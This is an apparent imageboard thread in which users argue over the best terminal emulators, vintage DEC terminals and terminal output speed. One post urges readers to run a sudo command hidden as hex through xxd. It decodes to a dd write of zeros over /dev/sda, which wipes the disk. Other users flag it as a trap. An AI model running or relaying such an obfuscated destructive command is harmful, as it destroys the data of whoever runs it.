So what are some /g/ approved terminals?

st is the only way to go.

https://github.com/meh/cancer

iterm2 is the best

powershell 2

A lot of options here. Any specific reasons why it's the best?

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>>59437851
>>59437865
>>59437883
>>59437884
guake is greatest of all time

>>59437851
Anything but xterm.

xterm

>>59437894
only right answer

Termite

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>>59437851
wtf is a terminal ?

>>59438220
What's that monitor with the Apple logo, and is it good?

>>59438230
i dunno anon

>>59437920
this

>>59437894
That's not a terminal.

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>>59437851
Terminoloty is awesome. Nyan nyan.

I like terminator. Really, it's all I know so I can't tell you why it's better than what you're using.

Alt + Enter = new terminal
Fn + t = split terminal vertically
Fn + alt + t = split terminal horizontally.
Alt-arrow keys to focus on the terminal to the arrow direction.

>>59437851
Tilix is great, written in D (yes) and with GTK+3

>>59438220
>2017
>having a radiation machine plugged in

Rxvt-unicode

>>59438888
Too bad libvte is pretty shitty.

>>59437884
> t.mactoddler

>>59438907
No proper true color support.

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>>59437851
https://hyper.is/

>>59438903
You mean like a wifi transceiver...

>>59437883
It's pretty slow as far as terminals go, but it can be much faster.

But hey, at least the vi-like interface is pretty cool, and it supports sixels.

>>59438946
That's a bad idea and you know it.

>>59437884
iTerm is pretty damn slow and its font rendering is crappy when dealing with graphical characters from unicode or the alternative charset.

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>>59437851
Terminology is great. Just look at it. No other terminal has that comfy light from top of the window.

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:^)

>>59437851
urxvt

on windows, ConEmu is the way to go

>>59437883
This shit is too slow.
Is it slow because it's in rust or it's just an inefficient implementation?

>>59439162
my man

>>59439151
>Cool Retro Term
lol, That's funny.

>>59439264
It's cancer so you should be glad it's slow

>>59437851
terminix

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i like gnome, but maybe because i have been using it for 8 years and it has alot of options.. just started using the mac terminal and its not that bad.

>>59439162
this but i only use it because padding borders not because i'm some sort of autistic power user

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Been using sakura for years without issue.

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I like Terminal.app

urxvt is the way to go
xterm, and termite are both note worthy

guake is the fuckign worst of the worst
even gnome, mate, and xfce terms are better than that drop down worthless flaming bag of turds

On windows, absolutely Moba XTerm. Nothing better.

>>59437851
sakura.

Best compromise between functionality and lightweightness among the libvte terminals.

>>59438220
wanted to get one, but a bit too rich for my tastes.

should lurk in recycling places for a machine like that. would love one always at the ready.

Suckless

>>59437920
guake is pretty comfy for quick terminal access. i'm not sure why you need it over any other terminal emulator binded to a key in your wm, though.

So what advantages do these have over something like konsole or gnome-terminal?

>>59442535
Look for a VT320 or VT420, they're cheaper and easier to find.

>>59442564
basically nothing.

>>59442659
will do, really did a cursory search so didn't check out any other model.

>>59438985
I have it a try it's nifty

I use the terminal almost everyday and I don't see a fucking difference between gnome, urvxt and the xfce one.

>>59442873
Yeah DEC VT220's are definitely cool pieces of history but you'll never find one for cheap since they're so desirable to collectors/enthusiasts.

If you're looking for a terminal that's actually usable with modern shell programs then the later VT models are arguably better because they support 48 line / 132 column modes.

Otherwise just beware the VT420 only has MMJ ports so you'll need to buy the correct cable and DB9 adapter to use it. Cheers.

>>59437851
I have 2 gigantic flatscreens. Both are flipped vertically and are just emacs windows. I never leave emacs including to shitpost here.

I don't have X, I have a framebuffer https://inconsolation.wordpress.com/2013/03/08/bonus-revisiting-fbterm/

Where I work tried to send me a Mac to use Slack and I refused instead writing a tiny script that polls slack for new posts and leaves them in a text file for me to check whenever I get around to it. It's great and totally filters out all the bullshit memes coworkers spam to save time.

Every month I am the most productive developer, everybody thinks I am some 10x dev super human but all I did was reduce all distractions to a bare minimum.

>>59438903
You realize lcd screens emit radiation as well right? Its just that most of it is visible light.

>>59443127
another decade and you'll be a stallman-tier lunatic

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

try this one.

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>>59443149
> executing a sudo command
> executing a sudo command from /g/
wew lad

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I'm a fan of the VT420. I also have this DEC UNIX keyboard.

>>59437883
meh was a pedo from 99chan
and all his software is built with ruby

>>59437851
How about whatever is installed?

You type in some characters, you read back the text that is printed

What other features do you need?

>>59437865
fpbp

>>59443149
Kind of proud that I recognized the start of that as the ascii hex for "dd<space>".

>>59437851
cmd

>>59437865
Fbpb

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>>59439151

I'm a boring / lazy person and use whatever is default. That means Terminal.app on macOS, xterm on OpenBSD, cmd.exe on Windows 10 and whatever the shit that comes with Ubuntu is called.

Termite

>all these retards itt referring to terminial emulators as terminals

why is /g/ full of computer illiterates?

>>59442559
You don't. Guake is just the classic drop down.

>>59437865
this this and this

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>>59437851
Xfce4 terminal here.

Is that a pikachu themed terminal? So cute!

>>59443218
>UWA
What a coincidence. I used that terminal once, it's from the University Computer Club.

>>59439264
Most likely - like in most of those cases - it's because text rendering.

>>59439264
In what situations is it too slow?

>>59443127
And yet here you are deluding yourself into oblivion, with embarrassing shitpost on the most cancerous sites of all. Great life, dude!

9term
Terminal.app
st

whichever one came on my shit.. xterm or rxvt i think. I dont know and I don't care.

>>59437851
I hear Cancer is the best terminal

iterm 2 nightly
Tmux
Vim
Zsh
/thread

Never had an issue with gnome's terminal as a desktop user but I don't live in the terminal, it is only used for system maintence.

If I was a sysadmin managing a bunch of boxes I would use a more optimal config. Probably something heavy like terminator as it's your primary work environment.

>>59438946
Tried it once. It worked like absolute shit.

>>59447887
>vim+tmux not neovim+:terminal

>>59443149

$(echo "6563686f206e6f0a" | xxd -p -r)

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>>59437883
>terminal cancer

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>>59438220
always found amber monochrome to be much more pleasant to look at than green

Any terminal where you can set the background to dark yellow and the letters to phosphorus green

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>>59448646
There's a reason why amber is a common car interior lighting colour and green is not.

>>59448781
>and green is not.
not anymore.
it used to be everywhere before those fucking spaceblue leds and bright as fuck LCD screens started appearing everywhere.

but i believe amber is in use because it's much closer to red, and red ruins your nightvision the least.

>>59439308
Same here.
I don't see the point of changing it. Especially when i use i3wm.
That way any terminal works.

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>>59449618
there are few benefits from using a different terminal.

With a fast machine and a slow terminal (xterm is probably the slowest in we have right now) the terminal speed (the rate at which it can put lines of output on the screen) can be a massive bottleneck, especially during compilation.


note that the result in pic related are decade old.
Nowadays rxvt-unicode is probably the fastest fully featured terminal emulator.

test was contucted with

wget https://www.ietf.org/rfc/rfc3261.txt

time cat rfc3261.txt

Since we've done leaps in terms of performance in the last decade I would actually recommend to do the same with a longer file for reuslts that are more easily comparable.

for n in {1..100}; do cat rfc3261.txt >> longtext.txt; done

time cat longtext.txt

Post your results!

>>59449826
>>59449618
in my case the difference between xfce4-terminal and urxvt, the two emulators i have installed was massive.

xfce4-terminal took 2m8.394s to complete
urxvtc took 0m6.518s

>>59437851
I was a big fan of Terminator, but then I realized I wasn't even using most of its properties.

For me it's uxterm™ the best Linux™ terminal emulator.

>>59439001
The default osx terminal is pretty good desu

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>>59437883
>terminal cancer